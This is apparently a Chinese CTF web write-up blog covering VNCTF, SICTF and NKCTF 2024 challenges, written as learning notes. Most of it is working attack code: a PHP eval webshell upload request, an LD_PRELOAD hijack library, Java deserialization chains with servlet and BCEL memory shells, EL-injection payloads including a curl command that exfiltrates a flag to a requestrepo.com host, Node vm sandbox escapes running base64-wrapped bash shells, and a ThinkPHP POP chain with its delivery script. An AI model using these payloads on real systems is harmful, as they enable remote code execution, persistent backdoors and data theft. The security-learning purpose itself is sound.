User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=bdd5af1e5c92e47342e53886cecaced2
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrhx2kYAMYDqoTThz
Content-Length: 770


------WebKitFormBoundaryrhx2kYAMYDqoTThz
Content-Disposition: form-data; name="id"

WU_FILE_0
------WebKitFormBoundaryrhx2kYAMYDqoTThz
Content-Disposition: form-data; name="name"

test.jpg
------WebKitFormBoundaryrhx2kYAMYDqoTThz
Content-Disposition: form-data; name="type"

image/jpeg
------WebKitFormBoundaryrhx2kYAMYDqoTThz
Content-Disposition: form-data; name="lastModifiedDate"

Wed Jul 21 2021 18:15:25 GMT+0800 (中国标准时间)
------WebKitFormBoundaryrhx2kYAMYDqoTThz
Content-Disposition: form-data; name="size"

164264
------WebKitFormBoundaryrhx2kYAMYDqoTThz
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg

Jay17
<?php eval($_POST[1]);?>

------WebKitFormBoundaryrhx2kYAMYDqoTThz--

 访问右边的恶意文件保存的路由getshell即可

givenphp

考点:LD_PRELOAD劫持

 <?php
highlight_file(__FILE__);
if(isset($_POST['upload'])){
    handleFileUpload($_FILES['file']);
}

if(isset($_GET['challenge'])){
    waf();
    $value=$_GET['value'];
    $key=$_GET['key'];
    $func=create_function("","putenv('$key=$value');");
    if($func==$_GET['guess']){
        $func();
        system("whoami");
    }
}
function waf()
{
    if(preg_match('/\'|"|%|\(|\)|;|bash/i',$_GET['key'])||preg_match('/\'|"|%|\(|\)|;|bash/i',$_GET['value'])){
        die("evil input!!!");
    }
}
function handleFileUpload($file)
{
    $uploadDirectory = '/tmp/';

    if ($file['error'] !== UPLOAD_ERR_OK) {
        echo '文件上传失败。';
        return;
    }
    $fileExtension = pathinfo($file['name'], PATHINFO_EXTENSION);

    $newFileName = uniqid('uploaded_file_', true) . '.' . $fileExtension;
    $destination = $uploadDirectory . $newFileName;
    if (move_uploaded_file($file['tmp_name'], $destination)) {
        echo $destination;
    } else {
        echo '文件移动失败。';
    }
} 

直接给了源码,可以上传文件,可以添加环境变量,可以执行linux函数whoami,然后就毫无思路了。看了别人的wp才知道是LD_PRELOAD劫持,大致意思就是执行linux命令whoami时会调用多个动态链接库中的方法,我们可以通过上传一个重写了该方法的动态链接库文件,并通过LD_PRELOAD这个环境变量指定优先加载我们上传的恶意动态链接库文件而不是系统原先的,这样就会执行我们重写后的恶意代码来达到任意命令执行的目的。

具体可以看这篇文章

LD_PRELOAD劫持(超详细篇)-CSDN博客

在本题中调用了whoami命令,先用ltrace看看调用了哪些动态链接库的方法中的

选择用put来编写恶意动态链接库

//payload.c

#include <stdio.h>
#include <stdlib.h>

int puts(const char *message) {
  printf("hack you!!!");
  system("echo '<?php @eval($_POST[0]);?>' > /var/www/html/1.php");
  return 0;
}

 编译成so文件

gcc -shared -fPIC payload.c -o 1.so

用python脚本发送文件

import requests

url = 'http://aa79461b-deb0-4542-9dd0-a913ca3b6fba.vnctf2024.manqiu.top/' 
files = {'file': open('1.so', 'rb')} 
data={"upload":1}
response = requests.post(url, files=files,data=data)

if response.status_code == 200:
    print(response.text)
else:
    print("文件上传失败!")

拿到文件存储位置

最后getshell时要满足guess的条件,匿名函数的名字最后的数字随着我们每次请求增长,我们只要先设置个比较后面的,然后不断发包即可

 

SICTF 2024

没环境复现,只能颅内复现了,主要还是学一下用到的知识。

Not just unserialize

考点:p神的环境变量注入

https://www.leavesongs.com/PENETRATION/how-I-hack-bash-through-environment-injection.html

真的太强了,膜拜

<?php

highlight_file(__FILE__);
class start
{
    public $welcome;
    public $you;
    public function __destruct()
    {
        $this->begin0fweb();
    }
    public  function begin0fweb()
    {
        $p='hacker!';
        $this->welcome->you = $p;
    }
}

class SE{
    public $year;
    public function __set($name, $value){
        echo '  Welcome to new year!  ';
        echo($this->year);
    }
}

class CR {
    public $last;
    public $newyear;

    public function __tostring() {

        if (is_array($this->newyear)) {
            echo 'nonono';
            return false;
        }
        if (!preg_match('/worries/i',$this->newyear))
        {
            echo "empty it!";
            return 0;
        }

        if(preg_match('/^.*(worries).*$/',$this->newyear)) {
            echo 'Don\'t be worry';
        } else {
            echo 'Worries doesn\'t exists in the new year  ';
            empty($this->last->worries);
        }
        return false;
    }
}

class ET{

    public function __isset($name)
    {
        foreach ($_GET['get'] as $inject => $rce){
            putenv("{$inject}={$rce}");
        }
        system("echo \"Haven't you get the secret?\"");
    }
}
if(isset($_REQUEST['go'])){
    unserialize(base64_decode($_REQUEST['go']));
}
?>

链子很简单,destruct->begin0fweb()->set->tosting->isset,最后用putenv来重载echo函数,令下面的system语句执行我们自己定义的echo语句。

 cc_deserialize

刚看名字狂喜,cc链刚学完,这不是简简单单,看完题目自闭,和cc链有关系,但不多,悲!

考点:cc链,RMI二次反序列化,内存马注入

思路:

因为我是赛后复现,也没环境,这里就直接分析wp了。

package com.n1ght_cc_deserialize;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;

/**
 * Hello world!
 *
 */
public class CCDeserializeExp {

    public static void main(String[] args) throws Exception {
        JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:iiop:///stub/" + CC3Exp());
        RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, new HashMap<String, String>());
        ConstantTransformer constantTransformer = new ConstantTransformer(rmiConnector);
        InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);
        HashMap<String, String> map = new HashMap<>();
        map.put("value", "value");
        TransformedMap decorate1 = (TransformedMap) TransformedMap.decorate(map, null, invokerTransformer);
        TransformedMap decorate = (TransformedMap) TransformedMap.decorate(decorate1, null, constantTransformer);
        Class<?> name = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> declaredConstructor = name.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        Object o = declaredConstructor.newInstance(Target.class, decorate);
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        new ObjectOutputStream(bao).writeObject(o);
        System.out.println(URLEncoder.encode(Base64.encode(bao.toByteArray()).replaceAll("\\s*", "")));
    }
    public static String CC3Exp() throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "aaaa");
        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = payload();
        byte[][] codes = {code};
        bytecodesField.set(templates, codes);
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
        HashMap<Object, Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry, "bbb");
        lazyMap.remove("aaa");
        Class<LazyMap> c = LazyMap.class;
        Field factoryField = c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap, chainedTransformer);
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        new ObjectOutputStream(bao).writeObject(map2);
        return Base64.encode(bao.toByteArray()).replaceAll("\\s*", "");
    }
    public static byte[] payload() throws NotFoundException, CannotCompileException, IOException {
        String s="public MyClassLoader(){             javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();\n" +
                "            java.lang.reflect.Field r=request.getClass().getDeclaredField(\"request\");\n" +
                "            r.setAccessible(true);" +
                "            org.apache.catalina.connector.Response response =((org.apache.catalina.connector.Request) r.get(request)).getResponse();\n"+
                "            String s =new Scanner(Runtime.getRuntime().exec(request.getParameter(\"cmd\")).getInputStream()).next();" +
                "            response.setHeader(\"night\", s);}";
        ClassPool classPool = ClassPool.getDefault();
        classPool.importPackage(Scanner.class.getName());
        CtClass ctClass = classPool.get(AbstractTranslet.class.getName());


        CtClass calc = classPool.makeClass("MyClassLoader");
        calc.setSuperclass(ctClass);
        CtConstructor ctConstructor = CtNewConstructor.make(s, calc);
        calc.addConstructor(ctConstructor);

        return calc.toBytecode();
    }
}

主函数main中,用了cc1的链子,最终目的是调用RMIConnector.connect,实现RMI二次反序列化,也就是将一个普通的反序列化点转为一个RMI反序列化点。

  1. JMXServiceURL 是用于描述 JMX 服务的 URL 地址的类。通过创建一个 JMXServiceURL 对象,你可以指定连接到哪个 JMX Agent 上。
  2. RMIConnector 是通过 RMI 协议连接到远程 JMX Agent 的类。它接受一个 JMXServiceURL 对象和一组选项(这里用 HashMap 表示)作为参数,在这里实现了创建一个通过 RMI 协议连接到指定 JMX Agent 的连接器。

通过这段代码,实现了通过 RMI 协议连接到指定 JMX Agent 的功能,这样就可以通过 RMI 远程访问和管理 JMX 提供的管理接口,实现远程监控和管理 Java 应用程序的功能。

cc3()就是用了动态类加载来执行恶意类静态代码块中指令的链子

payload()就是构造了一个恶意类,恶意类的静态代码块中采用的是servlet的内存马(好像是防止exp长度超过8000)。

难点:

RMI二次反序列化,我也是第一次见,自己都还学不明白,就放个链接,链接中的题还用到了jdbc任意文件读取,又是新知识,猛猛学。

从一道题认识jdbc任意读文件和RMIConnector触发二次反序列化 — 2022强网拟态NoRCE

https://github.com/Y4tacker/JavaSec/blob/main/%E5%85%B6%E4%BB%96/Java%E4%BA%8C%E6%AC%A1%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/Java%E8%A7%A6%E5%8F%91%E4%BA%8C%E6%AC%A1%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%9A%84%E7%82%B9.mdo

ok小学了一下学懂了,和我想的RMI二次反序列化不同,我想的是把一个普通的反序列化点转换成RMI反序列化点(开启RMI服务或监听这样子 ),然后打RMI反序列化的链子,实际上是在一个普通的反序列化点中进行反序列化,反序列化的过程中又调用了一次反序列化,通过这个反序列化直接 rce。下面理一下链子。

RMIConnector.connect()

RMIConnector.findRMIServer()

RMIConnector.findRMIServerJRMP()
然后就是进行序列化和反序列化

 在RMIConnector.findRMIServer()支持jndi,stub,ior这三个服务,理论上三者应该都能打。

 RMIConnector.findRMIServerJRMP()中会序列化base64编码的内容,这个内容我们可控,然后进行反序列化,触发rce。

elInjection  

考点:el表达式注入+bcel内存马

源码:

package com.example.elinjection.controller;

import de.odysseus.el.ExpressionFactoryImpl;
import de.odysseus.el.util.SimpleContext;
import java.util.ArrayList;
import java.util.Iterator;
import javax.el.ExpressionFactory; // EL表达式工厂的基类,用于创建值表达式和方法表达式
import javax.el.ValueExpression; // 表示带有获取和设置功能的表达式
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;

// 使用@RestController注解,自动处理响应体的序列化,并将该类标记为Spring MVC控制器
@RestController
public class TestController {
    // 定义无参构造函数,通常用于初始化操作,这里未进行具体操作
    public TestController() {
    }

    // 使用@RequestMapping注解映射"/test"路径的HTTP请求到该方法,@ResponseBody指示返回值为响应体
    @RequestMapping({"/test"})
    @ResponseBody
    public String test(@RequestParam(name = "exp") String exp) {
        // 创建一个字符串列表,存储被认为可能执行危险操作的字符串
        ArrayList<String> list = new ArrayList();
        list.add("Runtime");
        list.add("exec");
        list.add("invoke");
        list.add("exec");
        list.add("Process");
        list.add("ClassLoader");
        list.add("load");
        list.add("Response");
        list.add("Request");
        list.add("Base64Utils");
        list.add("ReflectUtils");
        list.add("getWriter");
        list.add("Thread");
        list.add("defineClass");
        list.add("bcel");
        list.add("RequestAttributes");
        list.add("File");
        list.add("flag");
        list.add("URL");
        list.add("Command");
        list.add("Inet");
        list.add("System");
        list.add("\\u");
        list.add("\\x");
        list.add("'");
        
        // 使用迭代器遍历上面创建的字符串列表
        Iterator var3 = list.iterator();

        String s;
        // 循环检查输入的表达式中是否包含列表中的任何字符串
        do {
            if (!var3.hasNext()) {//遍历结束,没有黑名单内字符串
                
                // 如果输入的表达式不包含任何敏感字符串,则使用EL处理输入的表达式
                ExpressionFactory expressionFactory = new ExpressionFactoryImpl();
                SimpleContext simpleContext = new SimpleContext();
                // 创建一个值表达式,用于在给定的上下文中评估exp
                ValueExpression valueExpression = expressionFactory.createValueExpression(simpleContext, exp, String.class);
                // 获取并执行表达式的值,但是这里没有使用执行结果
                valueExpression.getValue(simpleContext);
                // 返回原始的表达式字符串
                return exp;
            }

            // 如果找到敏感字符串,则将s设置为该字符串
            s = (String)var3.next();
        } while(!exp.contains(s));

        // 如果输入表达式包含任何敏感字符串,返回"No"
        return "No";
    }
}
很明显的el表达式注入,不过过滤了很多东西。
方法1(DNS外带):

从网上的payload找的,挺全的就直接复制粘贴了,这里放下原文链接。

SICTF Round#3 Web方向 题解WP_nssctf round new year ring 3-CSDN博客

1、反射
通常直接rce是不行的,通常会用到反射

${pageContext.setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc.exe"))}

 2. js引擎rce

${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('calc')")}

3.String类动态生成命令字符串(ASCII)

// 字符串 wh,多个cocnat嵌套构造whoami
//->

java.lang.Character.toString(119).concat(java.lang.Character.toString(104))

true.toString().charAt(0).toChars(119)[0].toString().concat(true.toString().charAt(0).toChars(104)[0].toString())

4、base64编码绕过 

.exec(cmd)
//->
.exec("bash -c {echo,"+base64.b64encode(cmd).decode()+"}|{base64,-d}|{bash,-i}")
//{}是命令组,前面为命令名后面是参数   
//bash -c 打开一个新的shell并执行后面的命令
//bash -i 打开一个新的shell    前面的反斜杠会将前面的输出作为bash -i的输出,也就是会打印解码后的内容,因为exec是只执行不输出的,bash -i能输出

5、套双层eval

${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("function myfuc(a){ return eval(a)};myfuc(String.fromCharCode(106,97,118,97,46,108,97,110,103,46,82,117,110,116,105,109,101,46,103,101,116,82,117,110,116,105,109,101,40,41,46,101,120,101,99,40,39,98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,89,121,65,105,89,51,86,121,98,67,66,103,76,51,74,108,89,87,82,109,98,71,70,110,89,67,53,107,89,51,90,108,101,72,108,114,78,121,53,121,90,88,70,49,90,88,78,48,99,109,86,119,98,121,53,106,98,50,48,105,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125,39,41))")}

//106,97,118,97,46,108,97,110,103,46,82,117,110,116,105,109,101,46,103,101,116,82,117,110,116,105,109,101,40,41,46,101,120,101,99,40,39,98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,89,121,65,105,89,51,86,121,98,67,66,103,76,51,74,108,89,87,82,109,98,71,70,110,89,67,53,107,89,51,90,108,101,72,108,114,78,121,53,121,90,88,70,49,90,88,78,48,99,109,86,119,98,121,53,106,98,50,48,105,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125,39,41



//【解码后】java.lang.Runtime.getRuntime().exec('bash -c {echo,YmFzaCAtYyAiY3VybCBgL3JlYWRmbGFnYC5kY3ZleHlrNy5yZXF1ZXN0cmVwby5jb20i}|{base64,-d}|{bash,-i}')

 payload:

import requests
import base64

def encode(payload):
	encode_payload = ""
	for i in range(0, len(payload)):
		if i == 0:
			encode_payload += "true.toString().charAt(0).toChars(%d)[0].toString()" % ord(payload[0])
		else:
			encode_payload += ".concat(true.toString().charAt(0).toChars(%d)[0].toString())" % ord(payload[i])
	return encode_payload


cmd = b"curl `/readflag`.dcvexyk7.requestrepo.com"

bs_cmd=base64.b64encode(cmd).decode()

ASC_bs_cmd=encode("java.lang.Runtime.getRuntime().exec(\"bash -c {echo,"+base64.b64encode(cmd).decode()+"}|{base64,-d}|{bash,-i}\")")
#print(ASC_bs_cmd)

exp = '${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval('+ASC_bs_cmd+')}'
print(exp)

url = "http://yuanshen.life:23333/test"

data = {'exp': exp}

r = requests.post(url, data).text
print(r)
 方法2(bcel内存马):

官网wp中是想让你注入一个bcel内存马,这也是预期解。还没有系统学过bcel内存马,这里先放个wp

package com.example.elinjection;
2
3 import com.sun.org.apache.bcel.internal.Repository;
4 import com.sun.org.apache.bcel.internal.classfile.Utility;
5 import de.odysseus.el.ExpressionFactoryImpl;
6 import de.odysseus.el.util.SimpleContext;
7 import javax.el.ExpressionFactory;
8 import javax.el.ValueExpression;
9 import javax.script.ScriptException;
10 import java.io.IOException;
11 import java.util.ArrayList;
12 import java.util.Base64;
13
14 public class Test {
15
16 public static void main(String[] args) throws ClassNotFoundException,
NoSuchMethodException, IOException, InstantiationException,
IllegalAccessException, ScriptException {
17 ExpressionFactory expressionFactory = new ExpressionFactoryImpl();
18
19 SimpleContext simpleContext = new SimpleContext();
20
21 String s1 = "$$BCEL$$"+Utility.encode(
Repository.lookupClass(Calc.class).getBytes(),true);
22 String s2 = "new
com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass(\""+s1+"\").newIn
stance()";
23 String s3 = Base64.getEncoder().encodeToString(s2.getBytes());
24
25 String s4 =
"java.lang.Class.forName(\\\"javax.script.ScriptEngineManager\\\").newInstance(
).getEngineByName(\\\"JavaScript\\\").eval(new
java.lang.String(java.util.Base64.getDecoder().decode(\\\""+s3+"\\\")))";
26
27 String exp =
"${\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().
getEngineByName(\"JavaScript\").eval(\""+s4+"\")}";
28
29 ArrayList<String> list = new ArrayList<>();
30 list.add("Runtime");
31 list.add("exec");
32 list.add("invoke");
33 list.add("ProcessBuilder");
34 list.add("ClassLoader");
35 list.add("Response");
36 list.add("Request");
37 list.add("$$BCEL$$");
38 list.add("\\u");
39 list.add("\\u");
40 list.add("'");
41 System.out.println(exp);
42
43 Boolean result = true;
44 for (String s: list
45 ) {
46 if(exp.contains(s)){
47 result = false;
48 break;
49 }
50 }
51 if (result){
52 ValueExpression valueExpression =
expressionFactory.createValueExpression(simpleContext, exp, String.class);
53 valueExpression.getValue(simpleContext);
54 }
55 }
56 }
//calc.java
package com.example.elinjection;
2
3 import java.lang.reflect.Method;
4 import java.util.Scanner;
5
6 public class Calc {
7 static {
8 try {
9 Class var0 =
Thread.currentThread().getContextClassLoader().loadClass("org.springframework.w
eb.context.request.RequestContextHolder");
10 Method var1 = var0.getMethod("getRequestAttributes");
11 Object var2 = var1.invoke((Object)null);
12 var0 =
Thread.currentThread().getContextClassLoader().loadClass("org.springframework.w
eb.context.request.ServletRequestAttributes");
13 var1 = var0.getMethod("getResponse");
14 Method var3 = var0.getMethod("getRequest");
15 Object var4 = var1.invoke(var2);
16 Object var5 = var3.invoke(var2);
17 Method var6 =
Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.Servlet
Response").getDeclaredMethod("getWriter");
18 Method var7 =
Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.Ht
tpServletRequest").getDeclaredMethod("getHeader", String.class);
19 var7.setAccessible(true);
20 var6.setAccessible(true);
21 Object var8 = var6.invoke(var4);
22 String var9 = (String)var7.invoke(var5, "cmd");
23 String[] var10 = new String[3];
24 if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
25 var10[0] = "cmd";
26 var10[1] = "/c";
27 } else {
28 var10[0] = "/bin/sh";
29 var10[1] = "-c";
30 }
31
32 var10[2] = var9;
33 var8.getClass().getDeclaredMethod("println",
String.class).invoke(var8, (new
Scanner(Runtime.getRuntime().exec(var10).getInputStream())).useDelimiter("\\A")
.next());
34 var8.getClass().getDeclaredMethod("flush").invoke(var8);
35 var8.getClass().getDeclaredMethod("close").invoke(var8);
36 } catch (Exception var11) {
37 }
38
39 }
40 }

NKCTF:

全世界最简单的ctf

考点:js的vm沙箱逃逸,原型链污染,require任意文件包含

参考文章:

NodeJS VM沙箱逃逸-CSDN博客

const express = require('express');
const bodyParser = require('body-parser');
const app = express();
const fs = require("fs");
const path = require('path');
const vm = require("vm");

app
.use(bodyParser.json())
.set('views', path.join(__dirname, 'views'))
.use(express.static(path.join(__dirname, '/public')))

app.get('/', function (req, res){
    res.sendFile(__dirname + '/public/home.html');
})


function waf(code) {
    let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;
    if(code.match(pattern)){
        throw new Error("what can I say? hacker out!!");
    }
}

app.post('/', function (req, res){
        let code = req.body.code;
        let sandbox = Object.create(null);
        let context = vm.createContext(sandbox);
        try {
            waf(code)
            let result = vm.runInContext(code, context);
            console.log(result);
        } catch (e){
            console.log(e.message);
            require('./hack');
        }
})

app.get('/secret', function (req, res){
    if(process.__filename == null) {
        let content = fs.readFileSync(__filename, "utf-8");
        return res.send(content);
    } else {
        let content = fs.readFileSync(process.__filename, "utf-8");
        return res.send(content);
    }
})


app.listen(3000, ()=>{
    console.log("listen on 3000");
})

源码和上面文章中的例题基本一样,只不过过滤不一样。

方法1(非预期):

过滤没有过滤全局变量global,可以获取global.buffer用于base64加密绕过,在获取global.process来执行命令。不过题目是没有回显的,可以考虑弹shell,也可以考虑写文件。看到源码中/secret路由能返回文件,而process.__filename是我们可以修改的,因此可以将flag写到文件1.txt再令process.__filename=1.txt,然后访问/secret路由即可。

payload:

//读取根目录文件:
throw new Proxy({}, {
    get: function() {
      const c = arguments.callee.caller;
      const global = (c.constructor.constructor('return global'))();
      //获取eval对象
      const re = Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')));
      //获取buffer对象解码恶意代码,解码后为:global.process.mainModule.constructor._load("child_process").execSync('ls / >1.txt')
      const an = Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith('Buf')))),1)('Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCdscyAvID4xLnR4dCcp','base64').toString();
        //获取process对象并修改__filename的值
      const pp = Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith('Buf')))),1)('cmV0dXJuIHByb2Nlc3M=','base64').toString();
      const p = (c.constructor.constructor(pp))();
      p.__filename = "1.txt";
      return re(an).toString();
    }
  })

​ 直接读flag没有权限,需要用readflag这个可执行文件来读

global.process.mainModule.constructor._load("child_process").execSync('/readflag >1.txt')

将上面base64编码后替换payload中的base64编码即可。

学习别人的wp后补充几种过滤方法:

1.String.fromCharCode 绕过

cc.constructor.constructor('return process')==cc.constructor.constructor(String.fromCharCode(114, 101, 116, 117, 114, 110, 32, 112, 114, 111, 99, 101, 115, 115)

2.大小写不敏感可以使用toLowerCase()

return process=='return Process'.toLowerCase();

3.舍弃exec函数,考虑fork函数加载js文件,同时使用倒序绕过过滤

throw new Proxy({}, {
 	get: function(){
		const content = `;)"'}i-,hsab{|}d-,46esab{|}d-,46esab{|}9UkaKtSQEl0MNpXT4hTeNpHNp5keFpGT5lkaNVXUq1Ee4M0YqJ1MMJjVHpldBlmSrE0UhRXQDFmeG1WW,ohce{' c- hsab"(cexe;)"ssecorp_dlihc"(eriuqer = } cexe { tsnoc`;
		const reversedContent = content.split('').reverse().join('');	
 		const c = arguments.callee.caller;
 		const p = (c.constructor.constructor(`${`${`return proces`}s`}`))();
 		p.mainModule.require('fs').writeFileSync('/tmp/test1.js', reversedContent);
        return p.mainModule.require(`${`${`child_proces`}s`}`).fork('/tmp/test1.js').toString();
	}
})

方法2(预期解):
 

在源码中最后写了require(‘./hack’)

结合方法1中修改__filename为/app/hack.js来读取一下看看。

继续读取shell.js

可以看到这里有执行shell命令的函数,很明显我们可以控制process.env.command,但是源码中并没有用include("shell.js")。

需要用到require的任意文件包含漏洞,具体过程放链接了

Node.js require() RCE复现 | Jiekang Hu's Blog

my first cms(CMS CVE)

题目就是现成的cve,但是管理员用户的密码要爆破,刚开始字典一直扫不出来坐大牢。

GitHub - capture0x/CMSMadeSimple



 

用过就是熟悉:

考点:项目代码审计,反序列化,数据外带

一个php的项目,文件代码太多了审计不了一点(主要还是经验太少不知怎么下手),记录学习一下。

开题是一个登录框,其他啥也没有,但是题目是给了源码的,去源码中搜索login、password、index这类关键字

看到这边有个反序列化函数,且只要name==guest就会触发,密码的加密是在发包之前的,直接改包就行,可以一试。

找destruct和wakeup方法,wakeup利用不了,主要利用点在destruct,这里调用了removeFiles()

这里将$filename当作字符串处理,是可以触发tostring方法的,且filename是可控的。

查找可以利用的tostring函数,这里调用了toJson,继续跟进。

跟进toArray

items可控,可以触发get方法

data可控,可以触发call方法,找到可疑的call方法

可以写文件,文件名可以爆破,开始构造链子。

<?php
namespace think\process\pipes{
    class Windows{
        private $files;
        public function __construct($a)
        {
            $this->files = [$a];
        }
    }

}
namespace think{
    class Collection{
        protected  $items;
        public function __construct($a)
        {
            $this->items = $a;
        }

    }

}
namespace think{
    class View
    {
        protected $data = [];
        //满足call方法参数的要求
        public $engine = array("time"=>"10086");
        public function __construct($a)
        {
            //get魔术方法的参数是访问的不存在或不可访问的属性名
            $this->data = array('Loginout'=>$a);
        }
    }
}
namespace think{
    //抽象方法不能实例化,所以需要找他的子类
    abstract class Testone{};
}
namespace think{
    //抽象方法不能实例化,所以需要找他的子类
    class Debug extends Testone{};
}
namespace {

    use think\Collection;
    use think\Debug;
    use think\process\pipes\Windows;
    use think\View;

    $debug = new Debug();
    $view = new View($debug);
    $collection = new Collection($view);
    $windows = new Windows($collection);
    echo base64_encode(serialize($windows));
}
import requests
import hashlib
import time
url = "http://5fe5f319-69ed-44af-b7b5-daea685aefa4.node.nkctf.yuzhian.com.cn/?user/index/loginSubmit"
data = {
    "name":"guest",
    "password":"TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE2OiJ0aGlua1xDb2xsZWN0aW9uIjoxOntzOjg6IgAqAGl0ZW1zIjtPOjEwOiJ0aGlua1xWaWV3IjoyOntzOjc6IgAqAGRhdGEiO2E6MTp7czo4OiJMb2dpbm91dCI7TzoxMToidGhpbmtcRGVidWciOjA6e319czo2OiJlbmdpbmUiO2E6MTp7czo0OiJ0aW1lIjtzOjU6IjEwMDg2Ijt9fX19fQ==",
    "rememberPassword":"0",
    "salt":"1",
    "CSRF_TOKEN":"v6X7DhG83uT645Tv",
    "API_ROUTE":"user/index/loginSubmit"
    
}
reponse = requests.post(url = url,data = data)
time = int(time.time())
for i in range(time-50,time+50):
    md5hash = hashlib.md5(str(i).encode()).hexdigest()
    url2 = "http://5fe5f319-69ed-44af-b7b5-daea685aefa4.node.nkctf.yuzhian.com.cn/app/controller/user/think/"+str(md5hash)
    resp = requests.get(url = url2)
    if '可道' not in resp.text:
        print(md5hash)
        break

 在python发包脚本中直接打印text是乱码,可能是我自身的环境问题,所以我选择输出文件名再访问。

//hint

亲爱的Chu0,

我怀着一颗激动而充满温柔的心,写下这封情书,希望它能够传达我对你的深深情感。或许这只是一封文字,但我希望每一个字都能如我心情般真挚。

在这个瞬息万变的世界里,你是我生命中最美丽的恒定。每一天,我都被你那灿烂的笑容和温暖的眼神所吸引,仿佛整个世界都因为有了你而变得更加美好。你的存在如同清晨第一缕阳光,温暖而宁静。

或许,我们之间存在一种特殊的联系,一种只有我们两个能够理解的默契。



<<<<<<<<我曾听说,密码的明文,加上心爱之人的名字(Chu0),就能够听到游客的心声。>>>>>>>>



而我想告诉你,你就是我心中的那个游客。每一个与你相处的瞬间,都如同解开心灵密码的过程,让我更加深刻地感受到你的独特魅力。

你的每一个微笑,都是我心中最美丽的音符;你的每一句关心,都是我灵魂深处最温暖的拥抱。在这个喧嚣的世界中,你是我安静的港湾,是我倚靠的依托。我珍视着与你分享的每一个瞬间,每一段回忆都如同一颗珍珠,串联成我生命中最美丽的项链。

